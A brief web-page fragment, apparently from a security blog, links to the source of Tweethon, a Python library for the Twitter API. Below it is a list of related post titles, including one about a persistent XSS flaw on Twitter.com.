Tweethon Source: http://bitbucket.org/jrossi/tweethon/src/tip/README

The Tweethon library, the only custom or uncommon library above, is intended to make the Twitter web services API easier for python programmers to use.

Related Posts:

• Persistent XSS on Twitter.com
• iPhone 4 Ordering and Session Switching
• May’s Patch Tuesday
• March’s Patch Tuesday
• Press F1 for Help, pwned.